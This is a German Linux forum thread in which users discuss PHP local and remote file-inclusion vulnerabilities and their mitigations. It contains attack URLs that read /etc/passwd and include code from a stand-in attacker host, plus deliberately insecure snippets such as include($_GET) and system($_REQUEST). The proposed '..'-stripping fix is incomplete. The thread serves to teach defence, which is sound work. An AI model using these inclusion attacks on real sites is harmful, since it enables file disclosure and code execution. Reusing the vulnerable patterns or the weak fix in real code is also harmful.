• Willkommen im Linux Club - dem deutschsprachigen Supportforum für GNU/Linux. Registriere dich kostenlos, um alle Inhalte zu sehen und Fragen zu stellen.

[Tipp] Den Peter Huth Fehler in PHP Scripten vermeiden.

nbkr

Guru
Hallo,

eine bestimmte Sicherheitslücke, welche man sich leider recht einfach bei der Programmierung mit PHP einfangen kann ist die sogenannte "Peter Huth" Sicherheitslücke. Peter Huth ist eine selbsternannter Securityexperte und gerade ihm ist diese Sicherheitslücke selbst mal unterlaufen. Doch zum eigentlichen Thema.

Die Sicherheitslücke entsteht, wenn man ungeprüft URL Parameter an include() weiterreicht. Ein Beispiel:

Code:
include $_GET[''content'];

Dieser Code der normalerweise dafür gedacht ist mittest http://www.domain.de/index.php?content=startseite.php die Startseite (oder jede andere Seite des Internetauftritts) anzuzeigen kann sehr leicht ausgenutzt werden.

Bespielsweise muss ein Angreifer nur http://www.domain.de/index.php?content=/etc/passwd eintippen um sich die Benutzerdatei des Webservers anzeigen zu lassen. Auf diese Weise kann der Angreifer jede (!) Datei anzeigen lassen, denn PHP macht daraus ein

Code:
include /etc/passwd;

Außerdem kann der Angreifer auch eigene Code von der Seite ausführen lassen. Dazu erstellt er eine Textdatei auf seinem Server mit z.B. dem Inhalt
Code:
show_source();

Und lässt diese Seite über http://www.domain.de/index.php?content=http://www.angreifer.de/boesercode.txt
einbauen. Die Datei wird includiert und der Inhalt wird als Sourcecode
ausgeführt. In diesem Fall würde zwar nur den Quellcode der angegriffenen
Seite angezeigt, aber man kann das ja beliebig erweitern.

Deshalb sollte man jeden URL Parameter (eigentliche jede Variable die vom Benutzer kommt) eingehenst prüfen. Für obiges wäre folgendes eine Lösung:

Code:
//Als erstes .. aus dem Parameter entfernen damit man nit
//mit /../../../etc/passwd in höhrer Ordner kommt.
$_GET['content'] = str_replace('..', '', $_GET['content']);

//Jetzt prüfen ob die übergebene Datei wirklich in diesem Ordner ist.
if (file_exists('./' . $_GET['content')) {
include './' . $_GET['content'];
} else {
//Seite lokal nicht gefunden -> Startseite anzeigen
include './startseite.php';
}

Man kann (und sollte) das Beispiel noch erweitern, in dem man die Contentdaten in einen Unterordner packt und nur Daten aus diesem Ordner includet. Außerdem kann das Script noch so erweitern, dass die Endung
.php nicht übergeben werden muss und man dieses im Script hinzugefügt
wird. Dadurch wird die Sicherheit noch ein wenig erhöht.
 

TeXpert

Guru
netter Vortrag, aber Du kannst das auf 1 Zeile reduzieren:

Vertraue nie einer User-Eingabe. Alle User sind Böse!

denn ähnliche Dinge kannst Du auch mit direkt ausgeführten SQL-Statements machen....
 

panamajo

Guru
Yup, das ist nun wirklich trivial. Wer derartigen Code verbricht schreckt wohl auch vor
Code:
system($_REQUEST['command']);
nicht zurück. :p
Der beschriebene Workaround ist umständlich und ineffektiv (erzwingt eine Abhängigkeit zur Lage des Scripts im FS), besser wäre die Verwendung von
Code:
open_basedir
 
OP
nbkr

nbkr

Guru
Open Basedir geht aber nur im Safe Mode, welcher noch mehr Sachen außer das Verzeichnis einschränkt (sogar show_source() wird verkrüppelt). Abgesehen davon ist der Safe Mode selbst nur ein Workaround.

Safe Mode ist der Versuch, Sicherheitsprobleme bei gemeinsam genutzten Servern zu lösen. Bezogen auf die Systemarchitektur, ist es der falsche Ansatz, diese Probleme innerhalb der PHP Schicht lösen zu wollen. Da es auf Ebene des Webservers bzw. des Betriebssystems keine praktischen Alternativen gibt, wird Safe Mode nunmehr von vielen Leuten, vor allem von Providern, eingesetzt.

PHP als CGI Version + suExec + passende Verzeichnissrechte ist der bessere Weg.
 

XrMb2

Member
also wer derartig ungeprüft variablen von usern annimmt, ist doch fast selbst so schuld, wie register_globals zu aktivieren und mit vorgefertigten scripten (=> quelltext einsehbar) zu arbeiten - was leider viel zu häufig der fall ist.

allein so eine eingabe über inlcude ist doch absoluter unsinn - wenn schon, dann sollten die parameter unbedingt wie alternativ angegeben, überpfüft werden, bzw. rechte wie das auslesen von /etc sollten für so ein script grundsätzlich nicht bestehen..?





..ciao
 
OP
nbkr

nbkr

Guru
Ich stimme dir voll zu, nur ein zwei Anmerkungen vielleicht.

XrMb2 schrieb:
... und mit vorgefertigten scripten (=> quelltext einsehbar) zu arbeiten - was leider viel zu häufig der fall ist.

Einsehbarer Quelltext hm ... ich hab' mal gehört da gibts ne ganze Bewegung die für sowas ist. Nennt sich Open Source oder so ähnlich. Die sollen sogar mehrere Betriebssystem auf die Art schreiben. Manche davon werden sogar für Server eingesetzt ... ;-)

allein so eine eingabe über inlcude ist doch absoluter unsinn - wenn schon, dann sollten die parameter unbedingt wie alternativ angegeben, überpfüft werden, bzw. rechte wie das auslesen von /etc sollten für so ein script grundsätzlich nicht bestehen..?

/etc/passwd ist für jeden User auf dem System (auch dem User unter dem PHP läuft einsehbar). /etc/shadow ist nicht lesbar für andere als root bzw. shadow - Mitglieder.
 

XrMb2

Member
was ich mit quelloffenen scripten gemeint habe, waren nicht selbstgeschriebene scripte, sondern zB phpnuke, usw, deren quelltext einsehbar und deren variablen und funktionen einsehbar sind, was ein scriptkiddie-herumraten ja vereinfacht. ein grund, warum ich die quelltexte für meine seiten nicht veröffentliche, denn ich bin nicht perfekt und fehlerfei, was php angeht und mache es solchen kiddies immerhin damit etwas schwerer. ich registriere sowieso auf manchen seiten bis zu 20 fehlerhafte logins pro tag, die über php und nicht htaccess laufen, deshalb mache ich mir da etwas sorgen.



ciao
 

panamajo

Guru
nbkr schrieb:
Open Basedir geht aber nur im Safe Mode
Ein (leider weitverbreiteter) Irrtum. open_basedir und safe_mode sind von einander vollkommen unabhängige Direktiven!
Abgesehen davon: ein Skript, dass unter safe_mode _nicht_ genauso läuft wie ohne gehört in die Tonne. Die Kritik, dass safe_mode der falsche Ansatz sei ist IMHO irrelevant. Wenn eine Komponente portabel und verlässlich die Sicherheit eines Systems erhöhen kann, dann ist das ein nützliches Feature das man auch benutzen sollte.

nbkr schrieb:
PHP als CGI Version + suExec + passende Verzeichnissrechte ist der bessere Weg.
Aber PHP als Apache Modul performt wesentlich besser. :mrgreen:
 

r23

Newbie
Hallo,

nbkr schrieb:
Außerdem kann das Script noch so erweitern, dass die Endung
.php nicht übergeben werden muss und man dieses im Script hinzugefügt
wird. Dadurch wird die Sicherheit noch ein wenig erhöht.

Nö, dies bringt nichts

2.4.3 - String cuts
http://www.hardened-php.net/documentation.19.html

Sinnvoller ist der meiner Meinung nach der PHP Patch
Hardened
http://www.hardened-php.net/hardening-patch-0.4.3-manual-alpha.pdf

cu

r23
 
A

Anonymous

Gast
Helfen tut hier auch das mod-security Modul für Apache.
Damit lassen sich die gängisten Injections unterbinden.

Allerdings heisst das für den PHP Scripter nicht dass er jetzt nachlässig sein darf ...

Siehe auch www.modsecurity.org

- Alex
 
Also ich weiss ja ned auf welchem level ihr in PHP arbeitet. Aber -> include $_GET[''content']; ist nicht nur verdammt schlechter Code, sondern dazu noch grob fahrlässig ;)

Das wär das gleiche als würd ich eval( $_REQUEST['var'] ); schreiben ^^

Meiner Meinung nach ist Die Sicherheitsfrage in php "ziemlich" einfach gelöst. es gibt für fast alles vorgefertigte Funktionen. Angefangen von stripsclashes() bis mysql_real_escape_string(). Dazu noch ein wenig PHP Basiswissen und man kann 70 % abdecken. Dazu noch eine weile Erfahrung und man kommt auf 85 - 95%. Und wie man ja eigentlich wissen müsste gibt es auf dieser Welt noch keine 100%ige Sicherheit ;)


btw.: Mit OOP in PHP und damit unter anderem einem Templatesystem wird die Navigation zum Kinderspiel ;)
 
Oben